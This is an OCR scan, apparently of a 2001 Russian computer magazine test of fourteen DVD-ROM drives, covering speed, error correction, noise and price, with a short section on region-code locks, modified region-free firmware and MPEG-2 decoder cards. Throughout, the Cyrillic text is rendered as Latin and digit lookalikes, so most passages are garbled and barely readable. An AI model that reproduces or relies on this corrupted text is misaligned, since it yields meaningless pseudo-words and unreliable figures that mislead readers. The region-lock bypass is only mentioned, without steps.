LG DRD-8120B. Bbicrpbin, tmxmm n BbiroflHbin: 
6o/iee noflpo6Ho nnTanTe o HeM b Hawen Bpe3Ke 
«0nTMMa/lbHblM Bbl6op». 

NEC DV-5800A. Ec/in cpaBHMBaTb c npeflwecTByio- 
iflen MOfle^bio DV-5700, to DV-5800, noxowe, yqa- 
ziocb npeBpaifleHMe M3 ba/iom ryceHMflbi b npoBop- 
Hyio 6a6oHKy. C 18,3x CKopocTbio npn nepenncn 



/lynuiHH npoflyKT 


+ KoppeKUMH olumOok 
+ BbicoKa^ CKopocTb npn Audio-Grabbing 
- CKOpOCTb CHHTbIBaHHfl DVD 

06iflan oueHKa 
UeHa/KanecTBo 

UeHa oko/io $90 



Ee3ynpeHH0 Pioneer DVD-114 npon3- 
BOflHT KoppeKumo ouim6ok Ha JieTy, 6es 
3aMeA^ieHHq. Menia Ann McuapanaH- 
HblX CD 


ayflMOTpeKa oh np^MO-TaKn co3flaH fl/m /no6nTe/ien 
My3blKM B MP3. H CBOMMH nOKa3aTe/lflMM CHMTblBa- 
hma CD-flMCKa NECyMeeTy6e>KflaTb: 3flecbflnoHflbi 
flOCTMmM Han/iynwero pe3y/ibraTa. llpMBOfl pacno3- 
HaeT DVD-cJ)njibM m nepexoflMT cooTBeTCTBeHHo Ha 
6o/iee HM3Kyio CKopocTb. Mbi no/iynn/in Be/innnHy 
rpoMKOCTM 2,4 coHa — BTopoe MecTO b Tecre. 3ByK, 
npaBfla, BbicoKonacroTHbin, nosTOMy nyBCTBMTe/ibHoe 
yxo MO>KeT BOcnpMHiiTb ero KaK HenpnaTHbin, 3aTO 
npn nepeHoce flaHHbix NEC c Be/innnHon rpoMKOCTM 
8 cohob m 53 flB (A) 3ByKOBoro flaB/ieHna HanoMn- 
HaeT /lMiiib pa3flpa>KeHHoe >Ky>K>KaHMe wepwHfl. 

Toshiba SD-M1502. nepBbin 16/48-CKopocmon 
npMBOfl Toshiba AB/meTca BbicoKOKanecTBeHHbiM 
npoflyKTOM. Oh eflMHCTBeHHbin b TecTe npn cnnTbi- 
BaHMM flaHHbix C CD flOCTMT M3KCMMa/l bHOTO 3Hane- 
hma ckopoctm 48x. CpeflH5i53 CKopocTb nepeflaHM 
(npMMepHO 31x) TaK>Ke abho /lyniue, neM y npaMoro 
KOHKypeHTa Acer. SD-M1502 noTepan 6a/i/ibi b Ta- 
kmx KaTeropnax, KaK BpeMA flocTyna, CBoncTBa cnn- 
TbiBaHMii CD-RW m nepenncn ayflMOTpeKa, KOTopaa 
npoBOfln/iacb /rniiib Ha CKopocTn 9x. Ilpn nepenncn 
flaHHbix SD-M1502 OTneT/inBO fla/i o ce6e 3HaTb 
rpOMKMM >Ky>K>KaHHeM BeHTM/lilTOpa B 53 flB (A). 
OflHaKO npn BOcnpon3BefleHnn DVD wyM cHM3njicfl 
flo peKopflHoro 3HaneHMfl Bcero b 1 coh. 0co6eHHO 
xopoiuee BnenaT/ieHne Ha Hac npon3Bejio to, hto 


Pioneer DVD-114 


B /ihhhom 3aneTe no npon3BOflMTe/ibHOCTn no6e- 
fln/i DVD 10/40x, xota co cpeflHHM 3HaneHneM 
CKOpOCTM 7,2x n MaKCHMa/lbHblM 9,3x OH He flO- 
CTnraeT BbicoKnx 3HaneHnn npn nepeflane flaH- 
Hbix c DVD. Bo/iee HH3Kaa no cpaBHeHnio c 16x- 
npHBOflaMH CKopocTb nepeflann flaHHbix KOMneH- 
cnpyera BTopon oueHKon o6iflero flocTyna k 
flaHHbm DVD (FuU Stroke). 3Ta Be/innnHa oco- 
6eHH0 Ba>KHa, ec/in Bbi mhoto pa6oTaeTe, Hanpn- 
Mep, c 6o/ibwnMn MaccnBaMn flaHHbix. KpoMe to- 
ro. Pioneer oneHb Ma/io 3arpy>KaeT npofleccop. B 
3tom OTHOiueHHH oh flocTnr Han/iynwero 3Hane- 
hha b TecTe, hto, pasyMeera, TaK>Ke ynnTbiBaeTC/i 
npn oueHKe pe3y/ibTaTOB. 

Cnoco6HOCTb DVD-114 k KoppeKflnn olum6ok 
OKa3a/iacb ceHcaflnoHHon — noHT n Ha zieTy. Xot^i c 



a Toshiba-DVD: xom SD-M1502 m xopoui b 
K aHeCTBeHHOM OTHOIlieHMM, ho y npubopoB 
3 tom iviapKH b npwHL|Hne hot KHoriKH Play M 
rwesfla Ann HayuiHMKOB 

eMy noTpe6oBa^ocb ^niub 15 ceKyHfl Ha BOCCTaHOB- 
^eHne tmxom pa6oTbi noc^e BHe3anHon ocTaHOBKn 
nepeflann flaHHbix. HeKOTopbiM npnBOflaM fl^^i 3 to- 
ro Tpe6yeTC5i OflHa MMHyTa n 6o/ibiue. 

Panasonic SR-8586-B. Panasonic npoflaera na- 
me Bcero b OEM-BapnaHTe b KOMn/ieKTe c cncTeMaMM. 
C 16-KpaTHon CKopocTbio oh nepenncbiBaeTayflno- 
flaHHbie n noaTOMy OTHeceH k caMbiM 6bicrpbiM b Tec- 
Te. CHHTbiBaHHA flecfieKTHbix CD eMy noTpe6oBa- 
jiocb 76 ceKyHfl, noc^e KoppeKflnn oqjm6ok oh Bee >Ke 
onepefln^ no6eflHTe/ifl TecTa Ha 14 ceKyHfl. 

SR-8586-B TeM He MeHee noTep^ 6a/uibi M3-3a cbomx 
xapaKTepncTMK CHMTbiBaHM^i «caMona/ibHbix» CD. KaK 
y 30/i0Tbix n 3e/ieHbix, TaK n y ro/iy6bix CD-R BpeM^i 
flocryna n CKopocTb nepeflann 6bmn ^ibho xy>Ke, neM 
y crofliflux Ha CTyneHbKy Bbiiue npnBOflOB DVD. npn 


TOHKM 3peHMfl ypOBH^I 6blCTpOfleMCTBM5l OH He CTO/lb 
CTpeMMTe/ieH, KaK, HanpnMep, LG, ho eMy hh pa3y He 
npnuj/iocb nepeoionaTbc^ Ha nepByio CKopocTb. 

3to Bbiflaioiflunc^ pe3y^bTaT. 

TaK>Ke oneHb xopoiua CKopocTb 17,2x npn 
Audio-Grabbing. E/iaroflapa 3TOMy no6eflMTe^b Tec- 
Ta noflxoflMT b KanecTBe no^HOfleHHon 3aMeHbi CD- 
npnBOfla, TeM 6o^ee hto pe3y^bTaTbi M3MepeHnn 
noflTBep>KflaiOT OT^nnHoe BOcnpon3BefleHne CD, 3a- 
nncaHHbix b flOMaiuHnx yc^OBn^ix. B cpeflHeM cko- 
pocTb nepeflann flaHHbix c 30/iOTbix, 3e^eHbix n ro- 
/iy6bix flncKOB He onycKaeTC^i Hn>Ke 30x. npn flo- 
CTyne k flaHHbiM Pioneer M3flaeT 3ByK, KaK He6o/ib- 
luon cjoe h . Ho eflBa Bbi B/io>KnTe DVD-cjDn^bM, oh 
cpa3y pa6oTaeT Tniue, n ocTaiOTC^i To^bKO cflep>KaH- 
Hoe CTpeKOTaHne n >Ky>K>KaHne. 


*Ha MOMeHT TecTnpoBaHMji b HaiueM pacnopjDKeHmi He 6bmo MOfleuw Pioneer 116 16x/40x, KOTopaji, bo3mo>kho, CMoma 
6bi onepeflMTb CBoero Muafliuero 6paTa. 1/13 3ajiBueHHbix npon3BOflHTeueM HOMMHaubHbix xapaKTepncTMK xoneTCJi OTMeTMTb 
cueflyioiflne: CKopocTb nepeflann flaHHbix c DVD npn 6,6x n 16x cocTaBUJieT 8,9 M6anT/c n 21,6 M6anT/c cooTBeTCTBeHHo, 
fluj 1 CD 3tot noKa3aTeub cocTaBUJieT 2,6 M6anT/c p,nn 17,2x n 6,0 M6anT/c p,na 40x; cpeflHee BpeMji flocryna fluji DVD co- 
CTaB/iJieT 95 mc, auji CD — 80 mc; MMeeTCJi B03M0>KH0CTb ropn30HTaubHoro n BepTHKa/ibHoro pacnouo>KeHnji npnBOfla b 
K opnyce; no cuoBaM npon3BOflMTeuji, myM ot pa6oTbi ycTponcTBa CHn>KeH Ha 2 flB. flonpo6yeM BceMy 3TOMy noBepnTb. 


d>aHTacTMnecKaji KoppeKiinn oiumSok 

rioKa3aB xopoiune pe3y^bTaTbi no BceM nyHKTaM, Pioneer 3ac/iy>KeHHO 
no6efln^ b stom Tecre.* 
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Tecie CD-RW stm pa3/iMHMfl He npoflBM/incb. B Tecre 
KOMcfiopTHoro npocMOTpa cj3M/ibMOB 6e3 MeiuaioiMero 
myMa npMBOfl noKa3a/i 3aypflflHbie 3HaneHMfl: 4 coHa 
n 41 flB (A). HecMOTpa Ha 3 to, Mbi npncyAM/in eMy 
eiMe wecTb 6a/uiOB, BO-nepBbix, noTOMy hto myM npn 
BocnpoM3BefleHMM noxo>K CKopee Ha HM3Koe m npnflT- 
Hoe >Ky>K>KaHMe n, BO-BTopbix, noTOMy hto npi/i nc- 
no/ib30BaHMM nporpaMMbi 3aMeA/ieHMA BpameHMA 
AMCKa npMBOfl M3flaeT /lnuib rnxoe mypmaHne. 

Pioneer DVD-105SZ. OneBMAHaa cn/ibHaa cropo- 
Ha npMBOAa Pioneer — sto nepBOK/iaccHoe cnnTbi- 
Ba h i/i e CD-R m CD-RW. rio6eAy b stom Tecie oh no- 
Ae/iM/i co cbomm co6paTOM SCSI U05S. CpeAH^^ 
CKopodb CHMTbiBaHM^ AaHHbix c 30/iOTbix CD 6bma 
Bbi me 35x. flocTOMHCTBOM Pioneer f\ B/ifleTCfl Taione 
Ma/ioe BpeMA AOdyna. BpeMA o6paiAeHi/m K/11060- 
My HOCHTe/iio He npeBbiiuaeT no/iyiopa cexyHA- 
OneHb 6bidpbiM OKa3a/iCfl Pioneer DVD-105 SZ h npn 
KoppeKUMM oqjm 6 ok: c npeBoexoAHbiM noKa3aie/ieM 
66 cexyHA n 6e3 eAMHon oujm 6 km oh othochtca k 
jiynmHM DVD-npMBOAaM. llpaBAa, 6biCTpoAencTBMe 
MMeeT CBOM HeAOCTaTKM — 6 COH rpOMKOCTM n 48 aB 
(A) 3ByKOBoro AaB/ieHMA npn BOcnpon3BeAeHnn DVD 
nocraBM.no npMBOA Ha npeAnoc/ieAHee MecTO b Tecie 
Ha rpoMKOCTb. K coKa/ieHnio, iuyM He yAa/iocb npe- 
OAO/ieTb n c noMOiAbio 3aMeA/iflK)LAen nporpaMMbi. 
ripn npocMOTpe DVD Ha stom ycrponcTBe Bac omy- 



OnTMMa/lbHblM Bbl6op 


+ SecLuyMHOCTb 

+ SbicTpbm AOCTyn 

- HH3Kaa CKopodb Audio-Grabbing 

06mafl oueHKa 
UeHa/KanecTBo 

UeHa oko/io $75 



EbiCTpan pea k uin q; DRD-8120B b c/iy- 
nae oujmokm nei\iHoro 3aMefl/ineTcq, ho 
3aTeM MOMeHTa/ibHO Ha6npaeT no/inyio 
CKOpOCTb 


LUMT rpOXOT, HanOMMHaiOlAMM MMHM-Typ6MHy. fl/lfl 
3Toro npMBOAa Pioneer, paBHO KaK m p,nn Acer, HaM 
yAa/iocb Hanm /inmb MMKponporpaMMHoe o6ecnene- 
HMe, o6ecneHMBaioiAee AOCTyn b pernoH 1 (QUA). 

Pioneer DVD-U05S. EAMHCTBeHHbin b Tecie npn- 
boa SCSI npeA/iaraeT npn/WHHyio npon3BOAMTe/ib- 
HOCTb npn Audio-Grabbing Ha ckopoctm 16x. Yam- 
BMTe/ibHo, hto Pioneer npeyMeHbiuaeT cxopocTb 
CHMTbiBaHM^: npn MaKCMMa/ibHOM nepeAane AaHHbix 
Mbi onpeAe/iM/iM CKopodb Bbiiue 45x, a Ha ynaKOBKe 
3H3HMTC51 mribKO 40x. Tohho Tax >Ke, KaK m ero co- 
6paT ATAPI, A/ifl CD-R oh noKa3a/i oneHb xopoiuyio 
CKopodb nepeAaHM. OTpnuaTe/ibHoe BneHaineHne 
OCT3BM/1M OTHOCMTe/ibHO 6o/ibmafl Harpy3Ka Ha CPU 
b 10% m 19% m myM, KOTopbiki He noAAaBa/iai pery- 
/lMpoBKe m 3aMeA/i^ioiAeM nporpaMMon. 

Toshiba SD-M1402. KaK m ero 6o/ibmon 6paT, 
npM MaKCMMa/ibHOM ckopoctm nepeAaHM AaHHbix c 
CD 3 tot annapaT AOCTMraeT 3HaneHMfl 40x. XI m nib 
A/ifl ro/iy6bix CD oh e/ie-e/ie aoctmt 9,1-KpaTHon 
ckopoctm. fl/ia cpaBHeHMa: 30/i0Tbie m 3e/ieHbie 
AMCKM noKa3a/iM CKopodb CHMTbiBaHMii b cpeAHeM 
32x. 5 cohob rpOMKOCTM m 46 aB (A) 3ByKOBoro 
AaB/ieHna othocat Toshiba k rpoMKMM DVD-npnBO- 
AaM. ripaBAa, c noMOiAbio CD-TopM03a myM yAa/iocb 
33MeTHO yMeHbmMTb. Guillemot npeA/iaraeT 


LG DRD- 8120 B 


Tot, kto npMo6peiaeTy LG BepcMio Retail, b kom- 
n/ieKTe c npMBOAOM no/iynaeT m OT/iHHHbin 
Software-DVD-Player Power DVD. C TaKMM ocHaiAe- 
HMeM hmhto He MO>KeT noMemaTb cpa3y npucry- 
nMTb K npOCMOTpy DVD-Cj)U/lbMa C HeHaBfl3HMBblMM 
2 COHaMM rpOMKOCTM M COOTBeTCTBeHHO 37 aB (A) 
3ByKOBoro AaB/ieHun. LUyM oneHb tmxmm, c/ibimHO 
mnbKO MiirKoe >Ky>K>KaHMe. OAHaKO ec/iu Hy>KHO 
nepeMecTMTb AaHHbie Ha /KecTKun amck, Hanpamu- 
Baera cpaBHeHMe c nbi/iecocoM. CKopodb cnuTbi- 
BaHMfl yAOB/ieTBOp^eT nO/lHOCTblO. npM CHMTblBa- 
hmm AaHHbix c DVD MaKCMMa/ibHaa CKopodb npM- 
BOAa cocTaB/ifleT npMMepHO lOx, a b cpeAHeM 
TO/ibKO 7,2x; 3to cooTBeTCTByeT ckopoctm nepeAa- 
HM AaHHbix b 9,8 M6auT/c. C 77 mc ao no/iHoro 
AOdyna k DVD oh AOCTMraeT cfiaHTacTUHecKOU Be- 
/lMHMHbl — o6blH HO 3TO OKO/IO 200 MC. Pe3y/ibTaT 
xopom m A-na «caMona/ibHbix» CD. Y ro/iy6bix m 3e- 
^eHbix amckob cpeAH^^i CKopodb nepeAaHM He 
onycxaera HM>Ke 32x, y 30^0Tbix — He HM>Ke 26x. 
IlMmb 3HaneHM^ 13x a/i^ CD-RW m 13x p,nn nepe- 
nMCM ayAMOAaHHbix He oneHb baoxhobjiaiot. He- 
AoporoM LG 6e3ynpenHO OTKoppeKTMpoBa/i Bee 



■ 


a Hitachi GD7500: fliinna ycTponciea Menb- 
tue, mom y KOHKypeHTOB — npemviyiuecTBO 
AJin He6o/ibmnx KopnycoB I1K 

SD-M1402 b AByx pa3^MHHbix BapnaHTax: b HeAopo- 
roM BepcMM Kit c Power-DVD m b BepcMM c PCI-Kap- 
tom MPEG-2, AHCTaHAMOHHbiM ynpaB^eHMeM m npo- 
rpaMMHbiM o6ecneneHMeM. 3 tot KOMn/ieKT oco6eH- 
ho noAxoAMT A-n^ KOMnbiOTepoB co c/ia6oM npoM3- 
BOAMTe/ibHOCTbio ueHTpa/ibHoro npoueccopa. 

Acer DVP 1640A. B cpeAHeM Acer o6Hapy>KMBaeT 
HaM^ynmyio cxopocTb nepeAaHM AaHHbix c DVD — 
13,6 M6aPiT/c (lOx). OAHaKO MaKCMMa/ibHO oh ao- 
CTMraeT^Mmb otmcikm b 11,9x. fla>Ke npM MaKCM- 
Ma/ibHOM nepeAane AaHHbix c CD bo BpeMA Tecia 
3Ta Be/iMHMHa He npeBbicn/ia 26x. 3tm pe3y^bTaTbi 
noKa3biBaiOT, hto HanenaiaHHoe Ha ynaKOBKe 3Ha- 
neHMe (16x/40x) oneHb OTHOCMTe/ibHO. ripocMaipn- 
Ba^i cjDM/ibM, Mbi cnpamMBa^M ce6a, noneMy oh M 3Aa- 
enaKOM aACKMM myM. 8 cohob rpOMKOCTM n 



a PowerDVD: yAaHHan nporpaivnvia nnn 
npocMOTpa DVD-BMAeo 

omM6KM Ha HameM tcctobom CD m noipaTM/i Ha 
3 to Bcero Ha ABe ceKyHAbi 6o^bme, neM no6eAM- 
Te^b Tecia. Ha rpacfiMKe c^eBa xopomo bmaho, KaK 
npM omM6Ke oh CHana/ia 3aMeA/i^eTC5i, ho noTOM 
CHOBa yBe/lMHMBaeT CKOpOCTb. 

KpoMe Toro, p,nn stoto npMBOAa He cociaBM^o 
TpyAa h3mtm nepenncaHHoe MMKponporpaMMHoe 
o6ecneneHMe, BbiK^ionaioiAee koa CTpaHbi. 


CTpeMMTeJIbHbIM AOCTyn 

npn npocMOTpe (j)M^bMOB m pa6oie c DVD-npuBOflOM ot LG Bbi no^ynn- 
Te MaKCMMa/ibHoe yflOBO^bCTBue 3a yMepeHHyio peHy. 


CHIP 
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HARDWARE cpaBHme/ibHoe TecTMpoBaHMe 


Know-how 

TaK JiiodOM DVD dyAeT padoiaib oirniMdiibHO 


KaweTcu, HeT flpyroM TaKon TexHo/iornn, Ha koto- 
pyio xaKepbi OTpearnpoBa/in 6bi TaK >Ke 6bicrpo, 
KaK 3TO npOMCXOflMT C DVD. CtOM/IO KMHOMHflyCT- 
pMM R)/l^MByAa BblAyMaTb HeHTO HOBOe, HT06bl 
BOcnpeniiTCTBOBaTb npe>KA6BpeMeHH0My aKcnopiy 
cbomx KaccoBbix cjDM/ibMOB, KaK TyT >Ke peiueHMe 
3 tom npo6/ieMbi cra/io AOdynHbiM n b HHTepHeie. 

Hto TaKoe RCE m KaK c hum OopoTbcn? 

Iloc/ie Toro, KaK KHHOHHAycTpnu noAe/in/ia Mnp Ha 
30Hbl, npOM3BOAHTe/lM DVD-npMBOAOB BCTpOM/lM B 
hmx noAAep>KKy pernoHa/ibHoro KOAnpoBaHnu, to 
ecTb BOcnpoM3BeAeHMe amckob c oahmm perno- 
Ha/lbHblM HOMepOM CTa/10 HeB03M0>KH0 Ha npi/IBO- 



DVD Genie: stot MHCTpyMem ne/ineTcn 
ocHOBHbiM y Bcex /noOme/ien 
Me>KflyHapoflHbix 4>n/ibMOB. Oh ycTpaHneT 
6apbep b BMfle KOfla CTpaHbi fl/in 
Software-DVD-Player n RCE 

Aax C OT/lMHHblM OT Hero HOMepOM. flOCTaB HOBbIM 
aMepMKaHCKMM c(3 M/1 bM C nepBbIM HOMepOM 30H bl M 
BCTaBMB ero b DVD-npnBOA, npeAHa3HaneHHbiPi 
pj\n HaiueM 30Hbi, Mbi 6yAeM my6oKO pa3onapoBa- 
Hbi. 3Ta npo6/ieMa 6bma 6bicTpo peiueHa Bbinyc- 
KOM My/lbTM30HHblX npMBOAOB. 

HoBeniuee TBopeHne lan/inByAa Ha3biBaeTCu 
Regional Code Enhancement (RCE). nporpaMMa, 
3anncaHHau Ha DVD-amck, npoBepueT ABa pa3Hbix 
KOAa CTpaH; ec/in ohm npnHMMaiOTCu npnBOAOM, 
c/ieAOBaTe/ibHO, y Bac My/ibrn30HHbiM npMBOA m 
cf)M/ibM BOcnpoM3BOAMTbC5i He 6yAeT. TpiOK COCTOMT 
B TOM, HTO DVD-npMBOA MO>KeT 6blTb HaCTpoeH 
mnbKO Ha oamh koa CTpaH. 0 tom, KaK c 3tmm cnpa- 

BMTbCU, MO>KHO H3MTM MH^OpMaAMIO B MHTepHeTe. 

YCTaHOBKa B3/10MaHH0r0 MliKponpO- 
rpaivnviHoro oOecneHemin 

Kto xoneT cennac npno6pecrn DVD-npMBOA mum 
CAe/ia/i 3to noc/ie 1 uHBapu 2000 roAa, HTo6bi Ha- 
CJia>KAaTbCU MHOCTpaHHbIMM cjDM/lbMaMM, AO/DKeH 

CHIP kl K) H b 2001 


CHana/ia 3anncaTb b DVD-npMBOA MMKponporpaMM- 
Hoe o6ecneneHMe, HaA KOTopbiM npoAe/iaHbi HeKO- 
Topbie MaHMny/i^AMM. B npnHAnne sto npMBOAMT k 
noTepe rapaHTMM m B03M0>KHbiM y6biTKaM. OAHaKO 
He auu Bcex MMeioiAnxcu Ha pbiHKe npMBOAOB cy- 
lAecTByeT B3/iOM3HHoe MMKponporpaMMHoe o6ec- 
neneHne. Mo>kho McxoAMTb M3 Toro, hto y npon3BO- 
AMTe/iePi cfiMpMeHHbix MapoK noc/ie nepBbix o6hob- 
zieHMM MMKponporpaMMHoro o6ecneneHnu (ohm 
c/iywaT opMTMHa/iaMM pj\n xaKepoB) 6yAeT b pacno- 
P^DKeHMM T3K>Ke BepCMU, KOTOpan He aKTMBMpyeT 
koa CTpaHbi. Kto xoneT AencTBOBaTb HaBepH/wa, 
tot nepeA noKynKon 6pocMT B3mnA Ha mhotohmc- 
jieHHbie CTpaH MAbi b MHTepHeTe, nocBULAeHHbie mm- 
KponporpaMMHOMy o6ecneHeHMio. B ja6n\AU,e yKa- 
3biBaeTCfl, auu KaKMx DVD Mbi Haw/in B3/iOMaHHoe 
MMKponporpaMMHoe o6ecneneHMe. HanpMMep, k 
MOM eHTy noAnncaHnu HOMepa b nenaTb hbmtm Ta- 
KOBoe A/ifl Toshiba SD-M1502 He yAa/iocb. Ho bbm- 
Ay Hpe3BbiHaMHOM CTapaTe/ibHocTM xaKepoB cMTya- 
AM53 y>Ke Moma M3MeHMTbcu. 


AKTiiBiipoBaHiie Direct Memory Access 

B HacTomAee BpeMu caMbiM pacnpocTpaHeHHbiM 
npM/io>KeHMeM p,nn DVD-npMBOAa UB/iueTCu Konn- 
poBaHMe xyAO>KecTBeHHbix cfin/ibMOB. OAHaKO Aa>Ke 
no/ib30BaTe/in, KOTopbie He TaK nacTO cKaHMBaiOT 
KOnMM rO/l/lMByACKMX JieHT Ha CBOM /KeCTKMM AUCK, 
AO/i>KHbi o6paiAaTb BHMMaHMe Ha to, hto pe>KMM 
DMA aKTMBMpoBaH KaK auu DVD-npMBOAOB, TaK m 
pj\n >KecTKoro A^CKa. To/ibKO b stom c/iynae Bbi ao- 
6beTecb Tex 3HaneHMM npon3BOAMTe/ibHOCTM, koto- 
pbie Mbi npMBe/iM b HaiueM ja6nv\u,e p,nn OTAe/ibHbix 
yCTpOMCTB. HaCTpOMKM AUU pe>KMMa DMA Bbl HaM- 
AeTe Ha BK/iaAKe «CBOMCTBa» Apa^Bepa Bamero 
npMBOAa. ripe>KAe neM pe>KMM 6yAeT aKTMBMpoBaH, 
npMAeTcn, npaBAa, npoM3BecTM nepe3arpy3Ky. 



A fl/lB CTpeMMTe/lbHOrO 06 MeHa AaHHblMM 
HeoOxoflMM aKTHBnpoBanHbiM pe>KHM DMA 
(Direct Memory Access) 



a MemamiHa flaHHbix: TO/iKy ot Delta 12x 
DVD-ROM npM npocMOTpe Hamero TecroBO- 
ro 4>H/ibMa Mnccnq HeBbinonHHMa 2» ona- 
sa/iocb Ma/io. ay ieHTMcpnKapMq He yAaeTcn 

53 aB (A) 3ByKOBoro AaB/ieHMu npM BOcnpoM3BeAe- 
hmm DVD BbixoAUT 3a uio6bie rpaHMAbi TepneHMu! 

Aopen DVD1240. no CKopocm nepeAaHM ash- 
Hbix DVD Aopen c 12x uBuueTcn uyniuMM b TecTe. 

Hm oamh M3 MHMMbix 16x-DVD-R0M He npM6/iM>KaeT- 
cu k 3TOMy 3HaneHMio. 3acuy>KMBaeT noxBaubi m ot- 
MeHHbiM pe3yubTaT 18x npM Audio-Grabbing, koto- 
p bi m noKa3au eiAe TOUbKO npMBOA DV-5800A ot 
NEC. K co>KaueHMio, Aopen m npM 3aMepax myMa 
AOCTMraeT 6oubiuMx bcumhmh: 10 cohob m 55 aB (A) 
Ha DVD — 3TO, MUTKO TOBOpU, MHOTOBaTO. 

LiteOn LTD-122. npMBOA LiteOn npM nepeAane 
AaHHbix DVD noKa3au HeBbicoKyio cpeAHioio cko- 
pOCTb 6,lx. MaKCMMaUbHaU npOM3BOAMTeUbHOCTb B 
8,3x T3K>Ke 6bma CKpOMHOPi. ripM CHMTbIBaHMM 3eue- 
Hbix, rouy6bix m 30U0Tbix CD AoernraeTCu MaKCMMaub- 
Hau CKopocTb 40x. npM TecTe Ha oium6km eMy xoTb m 
T pe6yeTcu 6ouee Asyx m m H yT, ho KoppeKunu npoxo- 
AMT 6e3ynpeHHO. npMBOA TepueT mhoto 6auuoB M3- 
3a c/ia6bix xapaKTepMCTMK CHMTbiBaHMu CD-RW m hm3- 
kom oueHKM no LuyMaM npn nepeAane AaHHbix. 

Hitachi GD7500. fl/iu npMBOAa c 3auB/ieHHOM 
CKopocTbio 12x AOCTMTHyToe MaKCMMaubHoe 3Hane- 
HMe npn HTeHnn TecTOBoro DVD, paBHoe 4,75x, a6- 
co/noTHO HenpneMueMO. Ilo cpeAHen ckopoctm ne- 
peAann AaHHbix 4,3x oh onepeAMu TOUbKO npMBOA 
Delta. EMy noTpe6oBa/iocb 58 mm HyT a uu htchmu 
noBpe>KAeHHoro A^CKa, m b AOBepiueHne Bcex 6eA 
oh He HcnpaBH/i 1046 oium6ok. 3tot npMBOA noAoPi- 
AeT, ecun Bbi cponHO \A\i\eie ycTpoPicTBO, cobmcctm- 
Moe c DVD-RAM-HOCHTe/iuMH, b npoTMBHOM c/iynae 
BaM cueAyeT xopomeHbKO noAyMaTb. 

Delta 12x DVD-ROM. KaK npn nepeHoce AaHHbix, 
TaK m npn BOcnpoM3BeAeHMM DVD Delta o6Hapy>KMu 
3HanMTeubHbie HeAOCTaTKM. B TeneHne 69 ceKyHA oh 
wypwa/i HaA AecfieKTHbiM CD n ocTaBM/i npn stom 
3960 oluh6ok HencnpaBueHHbiMM. Ham TecTOBbiPi 
CjDMUbM OH BOo6lAe He 3aXOTeU BOCnpOM3BOAMTb. Mbi 
noA03peBaeM, hto y 3Toro npMBOAa npo6ueMbi c TaK 
Ha3biBaeMbiMM RSDL-DVD (Reverse Spiral Dual 
Layer), TaK>Ke H3BecmbiMH KaK DVD-5. Oamh DVD-5 
(Single Layer) oh BOcnpon3Be/i cpa3y. Ho b pe3iOMe 
3 to Hnnero M3MeHMTb He MO>KeT: cuynaPi a uu Mycop- 
Horo BeApa. Ahtoh MoKpeiiOB 




TecT 14 DVD-npMBOAOB 





▲ flea b oahom: Kapia MPEG-2 m DVD-npn- 
boa BMecxe AesiaiOT CTapbie I1K npnroAHbi- 
mm AJifl BMAeo 


PCI-Kapibi MPEG-2 

KaK OHfMBMTb CTapbIM 

F1K Aiifi padOTbi c DVD 


/HOfleM, npMB^3aHHbix k CBoeMy ciapoMy kom- 
nbioTepy m, TeM He MeHee, >Ke/iaioLAMx Hac/iaw- 
Aaibca c|DM/ibMaMM DVD, npaBM/ibHbiM peweHMeM 
6yflei Kapia MPEG-2. flawe Apax/iOMy Pentium I 
OHa noMO>KeT c BMfleo-DVD. npeAnocbi/iKOM abjia- 
eTCfl 6blCTp bIM PCI-C/IOT, COBMeCTMMbIM C PCI 2.1, 
m, KOHeHHO, DVD-npnBOfl. HMeeT/iM Baiu KOMnbio- 
Tep Heo6xoflMMbiM PCI-CTaHflapT, Bbi y3Haeie M3 
pyKOBOflCTBa MaiepMHCKOM n/iaibi. BbiHMC/iMTe/ib- 
Hbie onepauMM no AeKOflnpoBaHmo c|3MjibMa no/i- 
HOCTbio B03bMeT Ha ce6a Kapia MPEG-2, 3arpy3«a 
ueHTpa^bHoro npoueccopa 6yflei oneHb Ma/ia. 
Kapia MPEG ctomt okojio $75 m npeA/iaraeica 
pa3/lMHHblMM npOM3BOflMTe^^MM C p33HblMM HaM- 
MeHOBaHM^MM. HeKOTopbie npoM3BOflMTe^5i npefl- 
jiaraiOT DVD-npMBOfl m Kapiy, HanpMMep PC DVD 
Encore 12x ot Creative Labs, Guillemot DVD-ieaip 
c npMBOflOM Toshiba SD-M1402. 

KoHeHHo, 3a cnei retaiL-nociaBKM, ueHa 6yflei 
Bbi me, ho Te, p,nn koto 3to c/imwkom floporo, cmo- 
ryT caMM cocraBMTb KOMn/ieKT. ripn 3tom npaKTM- 
necKM 6e3pa3^MHH0, KaKoPi nev\6n ynpaiuaei yna- 
KOBKy. Pa3Hbie npeA/ioweHMa OT/innaiOTCfl Apyr ot 
Apyra mnbKO npn/iaraeMbiM nporpaMMHbiM o6ec- 
neneHMeM m Ka6e/mMM. Co6cTBeHHo, npaKTMnecKM 
bo Bcex xapiax Mcno/ib3yeTCfl fleKOflupyioiAMM nun 
ReaLMagic EM 8300 ot Sigma-Designs. Oh o6pa- 
6aTbiBaeT cJ)opMaT AaHHbix MPEG-1, MPEG-2 b 
VideoCD 2.0, ho He CD-i cpMpMbi Philips. Kapia 
npeAOCTaBjmeT oamh BbixoA ciepeo m oamh BbixoA 
S/P-DIF. KpoMe 3Toro, ecib BbicoKOKanecTBeHHbiM 
BbixoA S-VHS. flaHHbie ct>M/ibMa onTMMM3MpoBaHbi 
(interlaced) p,nn TV-BbiBOAa. Ha BbixoAe n/iaibi 
nponcxoAHT noiepa KanecTBa, noTOMy hto BMAeo- 
CMrHa/i bi AJifl MOHMTopa (non-interlaced) KOHBep- 
TnpyiOTCfl b TV-CMrHa/ibi. Otjimhma xapi MoryT 
3aK/llOHaTbCfl B H3J1MHMM M/1M OTCyTCTBMM TV-TIO- 
Hepa, ciepeoAeKOAepa m/im ny/ibTa. OAHaKO, HaHM- 
Haa c Pentium II c 400 MI"a, Tana* Kapia MPEG 
6o/ibwe He Tpe6yera. EbicipoAeMCTBMe npouec- 
copoB AOCTaTOHHO p,nn caMOCTOflie/ibHoro agko- 
AMpOBaHMfl AaHHbIX CjDM/lbMa. 
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BecruiaTHafl nporpaMMa «PerMOHajibHaa 
MHCpOPMailMfl 0 npMB0Ae» 


TexHMHecKM, c nepBoro flHBapa 2001 roAa npoMr- 
pbiBaie/iM DVD npoAaiOTai TO/ibKO c npeAyciaHOB- 
ZieHHblMM KOA3MM perMOHOB. Ec/IM KOA MeHfleTCfl 
6o/iee n^TM pa3, npoMcxoAMT aBTOMaTMHecKaa 
6/iOKMpoBKa AOCTyna, noc/ie Hero npMBOA HaBcer- 
